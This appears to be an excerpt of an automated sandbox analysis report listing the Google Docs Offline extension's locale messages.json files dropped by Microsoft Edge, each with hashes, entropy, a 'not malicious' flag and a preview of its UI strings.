Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
